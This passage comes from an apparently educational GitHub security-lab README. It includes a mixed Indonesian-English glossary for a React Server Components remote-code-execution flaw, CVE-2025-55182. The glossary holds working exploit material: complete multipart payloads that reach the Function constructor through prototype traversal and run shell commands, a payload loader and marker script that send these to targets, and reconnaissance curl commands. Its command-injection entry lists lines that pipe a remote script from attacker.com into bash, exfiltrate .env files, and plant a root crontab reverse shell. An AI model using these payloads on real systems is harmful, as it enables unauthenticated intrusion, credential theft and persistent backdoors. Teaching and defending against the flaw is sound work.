  2. OWASP API Security: https://owasp.org/www-project-api-security/
  3. PortSwigger Web Security Academy: https://portswigger.net/web-security
  4. HackTricks: https://book.hacktricks.xyz/

Video Tutorials

  • React Server Components Explained
  • CVE Analysis Walkthrough
  • Penetration Testing Basics
  • Secure Coding Practices

Practice Platforms

  • HackTheBox
  • TryHackMe
  • PentesterLab
  • OWASP WebGoat

Security Tools

  • Burp Suite (Proxy & Scanner)
  • OWASP ZAP (Web App Scanner)
  • Postman (API Testing)
  • Wireshark (Network Analysis)

📄 License

This lab is created for educational purposes only.

Usage Terms:

  • ✅ Education & training
  • ✅ Security research (authorized)
  • ✅ Personal learning
  • ❌ Unauthorized attacks
  • ❌ Illegal activities
  • ❌ Production deployment

🙏 Acknowledgments

Created for:

  • Webinar "React2Shell: Jebol Tanpa Login"
  • Security awareness training
  • Educational purposes

Special Thanks:

  • React Security Team
  • OWASP Community
  • Security Researchers
  • Open Source Contributors

📚 COMPREHENSIVE GLOSSARY - CVE-2025-55182 & React2Shell Security Lab

Daftar LENGKAP semua istilah teknis yang digunakan dalam dokumentasi CVE-2025-55182 (27,000+ lines) dan React2Shell Security Lab


📋 Table of Contents


🔴 KATEGORI A: CVE-2025-55182 Specific Terms

Arbitrary Code Execution (ACE)

  • Definisi: Kemampuan attacker untuk execute code apapun yang diinginkan di target system
  • Karakteristik:
    • Tidak terbatas pada command tertentu atau fungsi spesifik
    • Full control over execution environment
    • Dapat execute system commands, load libraries, manipulate memory
  • Contoh di Node.js:
    Function("return process.mainModule.require('child_process').execSync('whoami')")()
  • Impact CVE-2025-55182:
    • Full system compromise
    • Data exfiltration
    • Lateral movement dalam network
    • Backdoor installation
    • Privilege escalation
  • Kritikalitas: Highest severity vulnerability type (CVSS 9-10)

App Router (Next.js)

  • Definisi: Architecture baru Next.js 13+ yang menggantikan Pages Router
  • Karakteristik:
    • Directory-based routing menggunakan folder app/
    • File conventions: page.js, layout.js, loading.js, error.js
    • Default enable React Server Components - kunci vulnerability!
    • Nested routing support dengan folder hierarchy
  • Vulnerable context:
    • Jika menggunakan React 18.x-19.0.0
    • Server Components exposed via HTTP endpoints
    • Automatic RSC payload handling
  • File structure example:
    app/
      ├── page.js           # Root page
      ├── layout.js         # Root layout
      └── dashboard/
          ├── page.js       # /dashboard
          └── settings/
              └── page.js   # /dashboard/settings
    
  • Detection markers:
    • Routes dalam /_next/static/chunks/app/
    • Response Content-Type: text/x-component
    • Support untuk Next-Action header

Base64 Encoding/Decoding

  • Definisi: Teknik encoding binary data ke ASCII text format readable
  • Algoritma: 6-bit groups converted to alphanumeric characters
  • Character set: A-Za-z0-9+/ (64 chars) + = padding
  • Purpose dalam CVE-2025-55182:
    • Exfiltrate command output dalam text-safe format
    • Bypass WAF filters yang detect command strings
    • Encode output dalam error.digest field untuk stealth
  • Encoding example:
    Buffer.from('whoami').toString('base64')
    // Output: d2hvYW1p
  • Decoding example:
    Buffer.from('d2hvYW1p', 'base64').toString()
    // Output: whoami
  • Usage dalam exploitation:
    const cmd = `cat /etc/passwd | base64`;
    // Output: Base64-encoded file content dalam response
  • Detection: Look for long alphanumeric strings dengan = padding dalam responses

Boundary String / Multipart Boundary

  • Definisi: Delimiter unik untuk separate parts dalam multipart/form-data HTTP request body
  • Format standard: ------WebKitFormBoundary[random]
    • Prefix: Exactly 6 hyphens (------)
    • Identifier: WebKitFormBoundary (browser convention)
    • Random suffix: 16 hexadecimal characters
  • RFC 2046 Requirements:
    • Maximum 70 characters length
    • Valid characters: Alphanumeric dan '()+_,-./:=?
    • No trailing whitespace
    • Must not appear dalam actual content
  • Generation methods:
    # Method 1: Random hex
    boundary = '------WebKitFormBoundary' + secrets.token_hex(8)
    
    # Method 2: Timestamp-based
    boundary = '------WebKitFormBoundary' + str(int(time.time() * 1000))
    
    # Method 3: Hash-based
    boundary = '------WebKitFormBoundary' + hashlib.md5(os.urandom(16)).hexdigest()
  • Purpose dalam CVE: Separate chunks RSC payload dalam multipart request
  • Example usage:
    ------WebKitFormBoundaryA1B2C3D4
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:constructor:constructor"}
    ------WebKitFormBoundaryA1B2C3D4--
    

Build ID Detection

  • Definisi: Teknik reconnaissance untuk identify Next.js build identifier dan environment mode
  • Locations:
    • __NEXT_DATA__ script tag dalam page HTML:
      <script id="__NEXT_DATA__">{"buildId":"abc123",...}</script>
    • Static assets path: /_next/static/[BUILD_ID]/_buildManifest.js
    • Bundle filenames: /_next/static/chunks/[BUILD_ID]/...
  • Build ID format:
    • Development: development (static string)
    • Production: Random hash (e.g., v8ZQuPSsSqM5OAqN4rDH-)
  • Purpose:
    • Determine development vs production mode
    • Aid dalam path prediction untuk exploitation
    • Version fingerprinting
  • Mode differences:
    • Development mode (buildId === "development"):
      • Verbose error messages (easier exploitation)
      • Source maps available
      • Predictable paths
      • Clear stack traces
    • Production mode (random buildId):
      • Obfuscated errors
      • No source maps (usually)
      • Harder exploitation tapi still vulnerable
  • Detection methods:
    # Method 1: Parse HTML
    curl http://target.com | grep -o '__NEXT_DATA__.*buildId":"[^"]*"'
    
    # Method 2: Probe static path
    curl -I http://target.com/_next/static/development/_buildManifest.js
    
    # Method 3: JavaScript extraction
    curl http://target.com | grep -o '/_next/static/[^/]*/''

Busboy Library

  • Definisi: Node.js streaming parser untuk multipart/form-data dengan efficient memory usage
  • Purpose: Parse uploaded files dan form fields tanpa loading entire body ke memory
  • NPM package: busboy
  • Usage dalam React:
    • Used by decodeReplyFromBusboy() function
    • Parse RSC payloads dari HTTP POST requests
    • Extract chunks dengan Content-Disposition names
  • Key features:
    • Streaming API (memory efficient)
    • Event-based parsing
    • Support untuk large file uploads
    • Field dan file handling
  • Location dalam React:
    react-server-dom-webpack/cjs/react-server-dom-webpack-server.edge.production.js
    
  • NOT Busboy's fault:
    • Busboy correctly parses multipart data
    • Vulnerability ada di React's reference resolution, bukan Busboy parsing
    • Busboy simply provides parsed data ke React
  • API example:
    const busboy = Busboy({ headers: req.headers });
    busboy.on('field', (fieldname, value) => {
      console.log(`Field ${fieldname}: ${value}`);
    });
    req.pipe(busboy);

Chunk (React Flight Protocol)

  • Definisi: Unit data fundamental dalam React Flight Protocol untuk transfer component state server → client
  • Format types:
    1. Array format (Component element):
      ["$","div",null,{"className":"container","children":["$1"]}]
    2. Object format (Data structure):
      {"key":"value","nested":{"prop":"$2"},"reference":"$1"}
    3. String format (Plain data):
      "This is plain text content"
    4. Number format: 42, 3.14
    5. Boolean/null: true, false, null
  • Chunk ID notation:
    • Format: ChunkID:JSONData
    • Example: 0:["$","div"] (chunk 0 contains div element)
    • Newline-separated: Each chunk pada separate line
  • Reference syntax:
    • $ChunkID - Reference ke chunk lain (e.g., $1, $2)
    • $@ChunkID - Self-reference (e.g., $@0)
    • $ChunkID:key:subkey - Deep property access
    • $BID - Blob reference
    • $FID - Function reference
  • Self-reference ($@0):
    • CRITICAL EXPLOITATION VECTOR!
    • Creates circular reference patterns
    • Used untuk trigger specific code paths
  • Deep property access:
    • $1:key:subkey accesses chunks[1].key.subkey
    • VULNERABLE: $1:__proto__:constructor:constructor
    • No validation pada property names (pre-patch)
  • Complete payload example:
    0:["$","div",null,{"className":"app","children":["$1","$2"]}]
    1:["$","h1",null,{"children":"Title"}]
    2:{"then":"$3:__proto__:constructor:constructor"}
    3:"$@0"
    

Chunk Reference Notation

  • Definisi: Syntax system untuk reference dan navigate between chunks dalam Flight Protocol
  • Basic reference:
    • $1 - Reference ke chunk dengan ID 1
    • $2 - Reference ke chunk dengan ID 2
    • Resolves to: Actual object/array/value dari target chunk
  • Self-reference:
    • $@0 - Reference ke chunk 0 itself
    • $@1 - Reference ke chunk 1 itself
    • Purpose: Create circular structures, trigger special handling
  • Deep property access:
    • $1:key - Access chunks[1].key
    • $1:key:subkey - Access chunks[1].key.subkey
    • $1:nested:deep:property - Multi-level traversal
  • Specialized references:
    • $B0 - Blob reference (binary data)
    • $F2 - Function reference (serialized function)
    • $S1 - Symbol reference
    • $I3 - Import reference (client component)
  • EXPLOITATION PATH:
    • $1:__proto__:constructor:constructor
    • Traverses: chunk[1] → __proto__constructorconstructorFunction!
    • No validation pada property names (vulnerability)
  • Example malicious payload:
    {
      "0": {"then": "$1:__proto__:then"},
      "1": {"x": 1}
    }
    • $1:__proto__:then resolves to chunks[1].__proto__.then
    • Pollutes prototype chain
    • When awaited, triggers Function constructor

Client Component

  • Definisi: React component yang renders dan executes di browser (client-side)
  • Declaration: File must start dengan 'use client' directive
  • Capabilities:
    • Full JavaScript interactivity
    • React hooks: useState, useEffect, useContext, etc.
    • Event handlers: onClick, onChange, onSubmit
    • Browser APIs: localStorage, window, document, fetch
    • Third-party libraries (jika client-safe)
  • JavaScript bundle:
    • Included dalam client-side bundle
    • Downloaded dan executed di browser
    • Adds to bundle size (consider code splitting)
  • Restrictions:
    • Cannot access database directly
    • Cannot read filesystem
    • Cannot use server-only APIs (Node.js modules)
    • Cannot access environment variables (server-only)
  • Example:
    'use client'  // Required directive!
    
    import { useState, useEffect } from 'react';
    
    export default function Counter() {
      const [count, setCount] = useState(0);
      
      useEffect(() => {
        document.title = `Count: ${count}`;
      }, [count]);
      
      return (
        <div>
          <p>Count: {count}</p>
          <button onClick={() => setCount(count + 1)}>
            Increment
          </button>
        </div>
      );
    }
  • Mixing with Server Components:
    // app/page.js (Server Component)
    import Counter from './Counter'; // Client Component
    
    export default async function Page() {
      const data = await fetchFromDatabase(); // Server-only!
      return (
        <div>
          <h1>{data.title}</h1>
          <Counter /> {/* Interactive client component */}
        </div>
      );
    }

Command Injection

  • Definisi: Vulnerability allowing attackers inject dan execute OS commands pada server
  • Mechanism dalam CVE-2025-55182:
    • Prototype pollution → Function constructor access
    • Function executes: process.mainModule.require('child_process').execSync(command)
    • Command runs dengan privileges dari Node.js process
  • Injection techniques:
    1. Command chaining (semicolon):
      whoami; cat /etc/passwd; uname -a
    2. Pipe operator:
      cat /etc/passwd | base64 | head -n 20
    3. Command substitution:
      echo $(whoami)
      echo `id`
    4. Logical operators:
      whoami && cat /etc/passwd    # AND
      false || cat /etc/passwd     # OR
    5. Background execution:
      sleep 10 &
      curl http://attacker.com/shell.sh | bash &
  • Output extraction methods:
    1. Base64 digest: Output dalam error.digest field
    2. Echo markers: Unique string untuk identify output
    3. NEXT_REDIRECT: Parse encoded output dari redirect
    4. Error messages: Output dalam error.message
    5. Out-of-band: HTTP callback, DNS exfiltration, file write
  • Example payloads:
    # Basic
    whoami
    
    # Full system info
    whoami; id; uname -a; pwd; ls -la
    
    # Network recon
    ifconfig; netstat -tuln; ps aux
    
    # Exfiltration
    cat /etc/passwd | base64
    curl http://attacker.com/exfil -d "data=$(cat .env | base64)"
    
    # Persistence
    echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' >> /var/spool/cron/crontabs/root
  • Detection signatures:
    • Suspicious process spawning (bash, sh, curl, wget, nc)
    • Outbound network connections
    • File modifications (/etc/passwd, crontabs, .ssh/authorized_keys)

Constructor Reference

  • Definisi: JavaScript technique untuk access Function constructor via prototype chain traversal
  • Prototype chain path:
    Object instance
      ↓ __proto__
    Object.prototype
      ↓ .constructor
    Object (constructor function)
      ↓ .constructor
    Function (parent constructor)
    
  • Code demonstration:
    const obj = {};
    
    // Step-by-step traversal
    console.log(obj.__proto__);                          // Object.prototype
    console.log(obj.__proto__.constructor);              // Object function
    console.log(obj.__proto__.constructor.constructor);  // Function!
    
    // Verify
    obj.__proto__.constructor.constructor === Function;  // true
  • Exploitation:
    // Access Function constructor
    const FunctionConstructor = obj.__proto__.constructor.constructor;
    
    // Create arbitrary function
    const evilFunc = FunctionConstructor("return process.mainModule.require('child_process').execSync");
    
    // Execute command
    const execSync = evilFunc();
    const output = execSync('whoami');
  • Why it works:
    • JavaScript's prototypal inheritance
    • Every function has constructor property
    • Function.constructor === Function (self-referential)
  • CVE-2025-55182 usage:
    {
      "0": {"then": "$1:__proto__:constructor:constructor"},
      "1": {"_response": {"_prefix": "malicious_code"}}
    }
    • $1:__proto__:constructor:constructor resolves to Function
    • Assigned to then property
    • await thenable triggers Function execution → RCE!

Content-Disposition Header

  • Definisi: HTTP header dalam multipart/form-data specifying metadata untuk each part
  • RFC 2183 & 7578 format:
    Content-Disposition: form-data; name="fieldname"; filename="file.txt"
    
  • Required parameters:
    • form-data - Disposition type (always untuk multipart/form-data)
    • name - Field name identifier (REQUIRED)
  • Optional parameters:
    • filename - Original filename untuk file uploads
    • filename* - Encoded filename (RFC 2231)
  • CVE-2025-55182 context:
    • name parameter identifies chunk IDs: "0", "1", "2", etc.
    • React maps names to chunk positions
    • Exploitation: Multiple parts dengan sequential names
  • Example dalam exploit payload:
    ------WebKitFormBoundary1A2B3C4D
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:constructor:constructor"}
    ------WebKitFormBoundary1A2B3C4D
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundary1A2B3C4D--
    
  • Parsing considerations:
    • Whitespace after ; is optional
    • Parameter values dapat quoted or unquoted
    • Special chars dalam filename must be encoded
  • Security note: Filename parameter historically source of path traversal vulnerabilities

CVE (Common Vulnerabilities and Exposures)

  • Definisi: Standardized international naming scheme untuk publicly disclosed security vulnerabilities
  • Format: CVE-[YEAR]-[NUMBER]
    • Year: 4-digit year vulnerability disclosed
    • Number: 4+ digit unique identifier
    • Example: CVE-2025-55182
  • Governance:
    • Maintained by: MITRE Corporation
    • CNAs (CVE Numbering Authorities): Authorized organizations assign CVE IDs
    • Database: National Vulnerability Database (NVD) provides analysis
  • CVE-2025-55182 details:
    • Year: 2025 (disclosure year)
    • ID: 55182 (unique identifier)
    • Title: React2Shell Remote Code Execution
    • Type: Insecure Deserialization + Prototype Pollution → RCE
  • Purpose standardization:
    • Unique identifier across platforms
    • Facilitate vulnerability tracking
    • Enable automated scanning (CVE in signatures)
    • Research dan reporting consistency
  • Lifecycle:
    1. Reserved: CVE ID assigned, details embargoed
    2. Published: Public disclosure dengan details
    3. Analyzed: NVD adds CVSS score, CWE mapping
    4. Updated: Additional information, patches, workarounds
  • Resources:

CVSS (Common Vulnerability Scoring System)

  • Definisi: Industry-standard framework untuk assessing severity dari security vulnerabilities

  • Current version: CVSS v3.1 (v4.0 emerging)

  • Scale: 0.0 (None) to 10.0 (Critical)

  • Severity ratings:

    • 0.0: None
    • 0.1-3.9: Low
    • 4.0-6.9: Medium
    • 7.0-8.9: High
    • 9.0-10.0: CRITICAL
  • CVE-2025-55182 Score: 10.0/10.0 (CRITICAL) ← Maximum severity!

  • Base metrics breakdown:

    1. Attack Vector (AV): Network (N)

      • Exploitable remotely over network
      • No physical access required
      • Internet-facing targets vulnerable
    2. Attack Complexity (AC): Low (L)

      • No special conditions needed
      • Reliable exploitation
      • Minimal attacker skill required
    3. Privileges Required (PR): None (N)

      • No authentication needed!
      • Unauthenticated attacker can exploit
      • Public-facing vulnerability
    4. User Interaction (UI): None (N)

      • Fully automated attack
      • No user action required
      • No social engineering needed
    5. Scope (S): Changed (C)

      • Impact beyond vulnerable component
      • Affects entire system
      • Can pivot to other resources
    6. Confidentiality (C): High (H)

      • Complete data disclosure
      • Read any file accessible to process
      • Exfiltrate sensitive information
    7. Integrity (I): High (H)

      • Complete system modification
      • Modify files, configurations
      • Install backdoors, malware
    8. Availability (A): High (H)

      • Total DoS possible
      • Crash server, delete data
      • Disrupt operations
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Temporal modifiers (change over time):

    • Exploit Code Maturity: Functional
    • Remediation Level: Official Fix available
    • Report Confidence: Confirmed
  • Why 10.0?:

    • Unauthenticated RCE (worst combination)
    • Network exploitable
    • No complexity
    • Full system impact

decodeReplyFromBusboy

  • Definisi: Critical React function untuk decode multipart RSC payloads dari HTTP POST requests
  • Purpose: Parse client data sent ke Server Actions atau RSC endpoints
  • Location dalam codebase:
    node_modules/react-server-dom-webpack/cjs/
      ├── react-server-dom-webpack-server.edge.production.js
      ├── react-server-dom-webpack-server.node.production.js
      └── react-server-dom-webpack-server.browser.production.js
    
  • Function signature:
    function decodeReplyFromBusboy(
      body: ReadableStream,
      serverModuleMap: ServerModuleMap,
      options?: DecodeOptions
    ): Promise<any>
  • Parameters:
    • body: ReadableStream dari HTTP request body (multipart/form-data)
    • serverModuleMap: Mapping module IDs ke server implementations
    • options: Optional config (callbacks, abort signal)
  • VULNERABILITY POINT:
    • Pre-patch behavior: Tidak validate property names during reference resolution
    • Allows: __proto__, constructor, prototype traversal
    • Exploitation: $1:__proto__:constructor:constructor reaches Function
  • Vulnerable code flow:
    // Simplified vulnerable logic (pre-patch)
    function resolveModelChunk(chunk, key) {
      const value = chunk[key];  // No validation on 'key'!
      if (key === '__proto__') {
        // VULNERABLE: Accesses Object.prototype
        return value;
      }
      return value;
    }
  • Fixed versions:
    • React 19.0.1+ (Latest)
    • React 18.3.0+ (LTS)
    • Next.js 15.1.7+ (Latest)
    • Next.js 14.2.23+, 13.5.8+ (LTS)
  • Patch implementation:
    // Patched logic
    const BLOCKED_KEYS = ['__proto__', 'constructor', 'prototype'];
    
    function resolveModelChunk(chunk, key) {
      if (BLOCKED_KEYS.includes(key)) {
        throw new Error(`Blocked property access: ${key}`);
      }
      return chunk[key];
    }
  • Exploitation flow:
    1. Attacker sends POST dengan multipart/form-data
    2. decodeReplyFromBusboy() called dengan body
    3. Busboy parses multipart → chunks extracted
    4. Reference resolution happens (VULNERABLE STEP)
    5. $1:__proto__:constructor:constructor traverses to Function
    6. Prototype pollution occurs
    7. Thenable exploitation triggered
    8. Remote Code Execution achieved!

Deserialization

  • Definisi: Process converting serialized data format kembali ke in-memory objects
  • General concept:
    • Serialization: Object → Byte stream/String
    • Deserialization: Byte stream/String → Object
    • Purpose: Data storage, network transmission, IPC
  • React Flight Protocol context:
    • Input: Newline-delimited JSON chunks dengan references
    • Process: Parse JSON, resolve $ID references, reconstruct object graph
    • Output: Complete JavaScript object tree
  • Unsafe deserialization (CWE-502):
    • Definition: Deserializing untrusted data tanpa proper validation
    • Risk: Attacker controls object structure → code execution
    • OWASP Top 10 2021: A08 – Software and Data Integrity Failures
  • CVE-2025-55182 exploitation chain:
    Malicious RSC Payload (serialized)
      ↓
    decodeReplyFromBusboy() - Deserialize chunks
      ↓
    Resolve references ($1:__proto__:constructor:constructor)
      ↓
    Prototype pollution (Object.prototype modified)
      ↓
    Thenable exploitation (await polluted object)
      ↓
    Function constructor invoked
      ↓
    Remote Code Execution!
    
  • Why vulnerable:
    • React trusts serialized input dari client
    • No validation pada reference paths
    • Allows __proto__ traversal during resolution
    • Deserialized objects directly used dalam application
  • Example vulnerable deserialization:
    // Vulnerable pattern (simplified)
    function deserialize(data) {
      const obj = JSON.parse(data);
      // Direct usage tanpa validation
      return obj;
    }
    
    const malicious = '{"__proto__":{"isAdmin":true}}';
    deserialize(malicious);
    // ALL objects now have isAdmin = true!
  • Secure deserialization practices:
    • Whitelist expected properties
    • Validate object structure before use
    • Use Object.create(null) (no prototype)
    • Implement integrity checks (HMAC, signatures)
    • Never trust serialized input dari untrusted sources
  • Other deserialization vulnerabilities:
    • Java: ObjectInputStream vulnerabilities
    • Python: pickle RCE
    • PHP: unserialize() exploits
    • .NET: Binary formatter vulnerabilities

Development Mode vs Production Mode

  • Definisi: Different build configurations untuk development dan production deployments
  • Detection:
    // Environment variable
    process.env.NODE_ENV === 'development'  // Dev mode
    process.env.NODE_ENV === 'production'   // Prod mode
    
    // Next.js build ID
    const buildId = window.__NEXT_DATA__.buildId;
    if (buildId === 'development') {
      // Development mode
    } else {
      // Production mode (random hash)
    }
  • Development Mode characteristics:
    • Error messages: Verbose, full stack traces
    • Source maps: Available (.map files)
    • Console logs: All logs output
    • Performance: Slower (no optimizations)
    • Hot reload: Code changes reflected immediately
    • Bundle size: Larger (includes dev tools)
    • Paths: Predictable, readable filenames
    • Example error:
      Error: Cannot read property 'then' of undefined
        at decodeReplyFromBusboy (server.js:142:22)
        at RSCHandler (app/api/rsc/route.js:8:15)
      Full code context and variable values shown
      
  • Production Mode characteristics:
    • Error messages: Obfuscated, minimal details
    • Source maps: Usually disabled (security)
    • Console logs: Suppressed or filtered
    • Performance: Optimized, minified
    • Hot reload: Disabled
    • Bundle size: Smaller (tree-shaking, minification)
    • Paths: Hashed, obfuscated filenames
    • Example error:
      Application error: a client-side exception has occurred
      Digest: a1b2c3d4e5f6
      
  • Exploitation impact:
    • Development:
      • Easier: Clear errors reveal execution flow
      • Faster: Quick iteration, immediate feedback
      • Detection: Obvious command output dalam errors
    • Production:
      • Harder: Obfuscated errors, less info
      • Stealth: Base64 output, encoded data
      • Still vulnerable: Core vulnerability exists
  • Best practices:
    • Never deploy dengan NODE_ENV=development
    • Disable source maps dalam production
    • Implement proper error logging (server-side only)
    • Generic error messages ke clients

Dynamic Payload Loading

  • Definisi: Architectural pattern untuk load exploitation payloads dari external files at runtime
  • Architecture:
    project/
    ├── exploit.py              # Main script
    └── payloads/
        ├── basic_rce.txt       # Simple RCE
        ├── reverse_shell.txt   # Reverse shell
        ├── custom/
        │   ├── wordpress.txt   # WordPress-specific
        │   └── drupal.txt      # Drupal-specific
        └── advanced/
            └── multi_stage.txt # Complex exploitation
    
  • Benefits:
    1. Modularity:
      • Separate payloads untuk different scenarios
      • Easy add new payloads tanpa code changes
    2. Customization:
      • Edit payloads dalam text editor
      • No Python knowledge required
      • Quick iteration
    3. Reusability:
      • Share payloads across projects
      • Community contributions
      • Payload libraries
    4. Version control:
      • Git-friendly (text files)
      • Track payload evolution
      • Diff visualization
    5. Collaboration:
      • Team members contribute payloads
      • Code review payloads separately
      • Easier pull requests
  • Implementation example:
    class PayloadLoader:
        def __init__(self, payload_dir='payloads/'):
            self.payload_dir = payload_dir
            self.cache = {}
        
        def load(self, name, variables=None):
            """Load payload file dengan variable substitution"""
            if name in self.cache:
                template = self.cache[name]
            else:
                path = os.path.join(self.payload_dir, f"{name}.txt")
                with open(path, 'r') as f:
                    template = f.read()
                self.cache[name] = template
            
            # Variable substitution
            payload = template
            if variables:
                for key, value in variables.items():
                    payload = payload.replace(f'{{{key}}}', value)
            
            return payload
        
        def list_payloads(self):
            """List all available payloads"""
            payloads = []
            for root, dirs, files in os.walk(self.payload_dir):
                for file in files:
                    if file.endswith('.txt'):
                        rel_path = os.path.relpath(
                            os.path.join(root, file),
                            self.payload_dir
                        )
                        payloads.append(rel_path.replace('.txt', ''))
            return payloads
  • Payload file format:
    # Payload: Basic RCE via Prototype Pollution
    # Description: Exploits CVE-2025-55182 via Function constructor
    # REQUIRED Variables: {BOUNDARY}, {COMMAND}
    # OPTIONAL Variables: {MARKER}
    # Risk Level: HIGH
    # Target: React 18.x-19.0.0 dengan Next.js
    
    ------{BOUNDARY}
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:constructor:constructor","_response":{"_prefix":"return process.mainModule.require('child_process').execSync('{COMMAND}').toString('base64')"}}
    ------{BOUNDARY}
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------{BOUNDARY}--
    
  • Usage:
    loader = PayloadLoader('payloads/')
    
    # List available
    print(loader.list_payloads())
    # ['basic_rce', 'reverse_shell', 'custom/wordpress', ...]
    
    # Load dengan variables
    payload = loader.load('basic_rce', {
        'BOUNDARY': 'WebKitFormBoundary12345',
        'COMMAND': 'whoami'
    })
    
    # Send to target
    response = requests.post(target_url, data=payload, headers=headers)
  • Validation:
    def validate_payload(payload, required_vars):
        """Check all required variables substituted"""
        for var in required_vars:
            if f'{{{var}}}' in payload:
                raise ValueError(f"Variable {{{var}}} not substituted!")

Echo Marker

  • Definisi: Unique string identifier untuk verify successful command execution dalam blind/semi-blind exploitation
  • Purpose:
    • Distinguish command output dari normal application errors
    • Reliable verification tanpa visual feedback
    • Tag output untuk parsing dari mixed content
  • Format examples:
    1. Simple prefix:
      EXPLOIT_a3f9c2
      RCE_SUCCESS_550e8400
      MARKER_CVE202555182
      
    2. Timestamp-based:
      RCE_1735904761123
      EXPLOIT_20250103_145241
      
    3. UUID:
      MARKER_550e8400-e29b-41d4-a716-446655440000
      
    4. Base64-encoded:
      TVJLUl8xMjM0NTY3ODkw
      
  • Usage patterns:
    # Single marker
    echo EXPLOIT_a3f9c2 && whoami
    
    # Start/end markers
    echo START_MARKER && cat /etc/passwd && echo END_MARKER
    
    # With command output
    echo MARKER_BEGIN; whoami; id; uname -a; echo MARKER_END
    
    # Base64 wrapper
    echo MARKER_$(cat /etc/passwd | base64)
  • Detection dalam response:
    def detect_marker(response_text, marker):
        """Search for marker dalam response"""
        if marker in response_text:
            # Extract content around marker
            lines = response_text.split('\n')
            for i, line in enumerate(lines):
                if marker in line:
                    return {
                        'found': True,
                        'line_number': i,
                        'context_before': lines[max(0, i-2):i],
                        'marker_line': line,
                        'context_after': lines[i+1:min(len(lines), i+3)]
                    }
        return {'found': False}
    
    # Usage
    marker = f"EXPLOIT_{secrets.token_hex(4)}"
    command = f"echo {marker} && whoami"
    response = exploit(target, command)
    result = detect_marker(response.text, marker)
    
    if result['found']:
        print(f"[+] Command executed! Output on line {result['line_number']}")
        print(f"[+] Context: {result['context_after']}")
  • Advantages:
    • Works dalam blind scenarios (no direct output)
    • Easier parsing dari HTML/JSON responses
    • Reliable even dengan encoding/filtering
    • Can carry additional metadata
  • Example dalam CVE-2025-55182:
    # Generate unique marker
    marker = f"RCE_SUCCESS_{int(time.time())}"
    
    # Craft command dengan marker
    command = f"echo {marker} && whoami && id && pwd"
    
    # Build payload
    payload = build_payload(boundary, command)
    
    # Send exploit
    response = requests.post(target_url, data=payload, headers=headers)
    
    # Parse response
    if marker in response.text:
        # Extract output after marker
        marker_pos = response.text.index(marker)
        output = response.text[marker_pos+len(marker):marker_pos+500]
        print(f"[+] Command output:\n{output}")

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published